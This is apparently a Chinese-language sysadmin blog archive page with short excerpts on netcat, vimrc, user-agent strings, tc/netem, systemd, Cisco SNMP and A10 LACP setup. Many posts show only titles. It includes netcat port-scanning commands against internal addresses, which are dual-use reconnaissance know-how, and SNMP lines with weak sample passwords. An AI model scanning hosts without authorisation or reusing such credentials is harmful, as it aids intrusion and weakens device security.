下面這行指令會傳送 UDP 的測試封包到指定的機器與連接埠，-w1 參數是指定 timeout 的時間為 1 秒。

echo -n "foo" | nc -u -w1 192.168.1.8 5000

開啟 UDP 連接埠接收資料

nc -lu localhost 5000

遠端機器的連接埠掃描（Port Scanning）

這行指令會掃描指定機器 1 ~ 1000 與 2000 ~ 3000 這兩個範圍的 TCP 連接埠，看看哪些埠號有開啟。

nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

這行則是掃描 UDP 的連接埠

nc -vnzu 192.168.1.8 1-65535

在兩台主機之間複製檔案

假設現在有兩台主機，分別為 A 主機與 B 主機，若要將一個檔案從 A 主機複製到 B 主機，可以先在 B 主機（檔案接收者）上執行：

nc -l 5000 > my.jpg

vimrc設定教學

Sat, 03 Nov 2018 23:30:52 +0800

vimrc 設定教學
:set nu
- 顯示行號：對於 debug 相當有幫助!
:set ai
- 自動對齊縮排：如果上一行有兩個 tab 的寬度，按 enter 繼續編輯下一行時會自動保留兩個 tab 鍵的寬度。
:set cursorline
- 光標底線：光標所在的那一行會有底線，幫助尋找光標位置
:set bg=light
- 上色模式-針對亮背景上色
- 預設為亮背景(白色等)上色，但是終端機的初始背景色為深紫色，會出現文字失蹤 ( 例如註解為深藍色 ) 的情況。將這一行換成 :set bg=dark 即可。
:set tabstop=4
- 縮排間隔數 ( 預設為 8 個空白對齊 )
- 也就是說按一次 tab 鍵，游標會自動跳 4 格空白字元的寬度。雖有多個空格但實際上只有一個 tab 字元。
- 注意：也就是說，在其他環境下，看到 tab 字元，依舊是 8 個空白寬
:set shiftwidth=4
- 自動縮排對齊間隔數：向右或向左一個縮排的寬度

以下可以斟酌使用

:set mouse=a
- 啟用游標選取：游標可以直接選取文字，滾輪可以直接滑動頁面 ( 非移動游標 )。
- 可以取代用 v 選取字元的功能，配合 ctrl+insert ( 複製 ) 及 shift+inset ( 貼上 )，相當方便
:set mouse=""
- 停用游標選取：游標無法選取文字，滾輪只會移動光標的位置。
:set ruler
- ( 預設就有 ) 顯示右下角的行,列目前在文件的位置 % 的資訊
:set backspace=2
- ( 預設就有 ) 在 insert 模式啟用 backspace 鍵
:set formatoptions+=r
- 自動註解(注意：若要貼上的文件某一行有註解，會因為此項設定而讓其以下每一行都變成註解)
:set history=100
- 保留 100 個使用過的指令
:set incsearch
- 在關鍵字尚未完全輸入完畢前就顯示結果
- 如果覺得這功能太過熱心的話，可以使用 ctrl+n 來達成自動補完的功能

為什麼瀏覽器 user-agent string 總是包含 Mozilla/5.0 ?

Wed, 17 Oct 2018 12:03:04 +0800

快速結論

因為網站開發者可能會因為你是某瀏覽器(這裡是 Mozilla)，所以輸出一些特殊功能的程式碼(這裡指好的特殊功能)，所以當其他瀏覽器也支援這種好功能時，就試圖去模仿 Mozilla 瀏覽器讓網站輸出跟 Mozilla 一樣的內容，而不是輸出被閹割功能的程式碼。

使用 TC 和 Netem 模拟网络异常

Sat, 15 Sep 2018 16:17:26 +0800

使用 TC 和 Netem 模拟网络异常

Netem 与 TC 简要说明

Netem 是 Linux 2.6 及以上内核版本提供的一个网络模拟功能模块。该功能模块可以用来在性能良好的局域网中，模拟出复杂的互联网传输性能。例如:低带宽、传输延迟、丢包等等情况。使用 Linux 2.6 (或以上) 版本内核的很多 Linux 发行版都默认开启了该内核模块，比如：Fedora、Ubuntu、Redhat、OpenSuse、CentOS、Debian 等等。

TC 是 Linux 系统中的一个用户态工具，全名为 Traffic Control (流量控制)。TC 可以用来控制 Netem 模块的工作模式，也就是说如果想使用 Netem 需要至少两个条件，一是内核中的 Netem 模块被启用，另一个是要有对应的用户态工具 TC 。

所有的报文延迟 100ms 发送: $ tc qdisc add dev enp0s5 root netem delay 100ms
模拟丢包率: $ tc qdisc change dev enp0s5 root netem loss 50%
模拟包重复: $ tc qdisc change dev enp0s5 root netem duplicate 50%
模拟包损坏: tc qdisc change dev enp0s5 root netem corrupt 2%
模拟包乱序(每 5 个报文（第 5、10、15…报文）会正常发送，其他的报文延迟 100ms): tc qdisc change dev enp0s5 root netem reorder 50% gap 3 delay 100ms

查看并显示 enp0s5 网卡的相关传输配置

$ tc qdisc show dev enp0s5

Quagga Routing - 安裝、設定與建置 BGP

Tue, 14 Aug 2018 22:13:12 +0800

Quagga Routing - 安裝、設定與建置 BGP

Systemd 入门教程：实战篇

Thu, 09 Aug 2018 13:53:32 +0800

Systemd 入门教程：实战篇

$ systemctl cat sshd.service

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.service
Wants=sshd-keygen.service

[Service]
EnvironmentFile=/etc/sysconfig/sshd
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
Type=simple
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

[Unit] 区块：启动顺序与依赖关系

After 字段：表示如果 network.target 或 sshd-keygen.service 需要启动，那么 sshd.service 应该在它们之后启动。

相应地，还有一个 Before 字段，定义 sshd.service 应该在哪些服务之前启动。

注意，After 和 Before 字段只涉及启动顺序，不涉及依赖关系。

设置依赖关系，需要使用 Wants 字段和 Requires 字段

Wants 字段：表示 sshd.service 与 sshd-keygen.service 之间存在"弱依赖"关系，即如果"sshd-keygen.service"启动失败或停止运行，不影响 sshd.service 继续执行。

Requires 字段则表示"强依赖"关系，即如果该服务启动失败或异常退出，那么 sshd.service 也必须退出。

注意，Wants 字段与 Requires 字段只涉及依赖关系，与启动顺序无关，默认情况下是同时启动的。

Raid10 徹底崩壞 ,壞就壞在同組作Mirror硬碟一起故障。

Wed, 01 Aug 2018 18:21:20 +0800

與 DDoS 奮戰：nginx, iptables 與 fail2ban

Fri, 20 Jul 2018 18:47:42 +0800

與 DDoS 奮戰：nginx, iptables 與 fail2ban

最好用的 V2Ray 一鍵安裝腳本 & 管理腳本

Thu, 08 Feb 2018 10:56:54 +0800

如何在 Switch 上啟用 snmp 設定

Sun, 04 Feb 2018 14:48:12 +0800

如何在 Switch 上啟用 snmp 設定

以 snmp-server 為主要指令

C3750(Config)#snmp-server community RO

指的是 SNMP 協定時互相溝通的密碼 RO 指的是 Read Only (SNMP 工具不允許修改設定) RW 指的是 Read and Write (SNMP 工具可以修改設定)

C3750(config)#snmp-server group SNMP_ROA v3 priv match exact

設定 SNMP Group 名： SNMP_ROA
Version ： V3
最高的 priv

C3750(config)#snmp-server user cater SNMP_ROA v3 auth MD5 cisco12345 priv des56 test12345

這行設定跟 PRTG 設定有關聯，一定要記清楚

使用者：cater
隸屬 Group 為：SNMP_ROA
驗證模式：MD5
密碼(MD5) ：cisco12345 (PRTG 要求要 8 碼以上)
Priv 驗證密碼：test12345 (PRTG 要求要 8 碼以上)

C3750(config)#snmp-server host 192.168.3.100 version 3 priv cater

A10

Wed, 10 Jan 2018 03:44:14 +0800

A10 Link Aggregation

802.3ad LACP

A10 trunk can config a maximnm of 16 LACP trunks per device.

interface ethernet 1
lacp trunk 1 mode active
lacp timeout long
!
interface ethernet 2
lacp trunk 1 mode active
lacp timeout long

Static Link Aggregation

None LACP.

Up to 8 static trunks.

具有代表性的 HTTP 状态码

Fri, 15 Dec 2017 15:33:14 +0800

具有代表性的 HTTP 状态码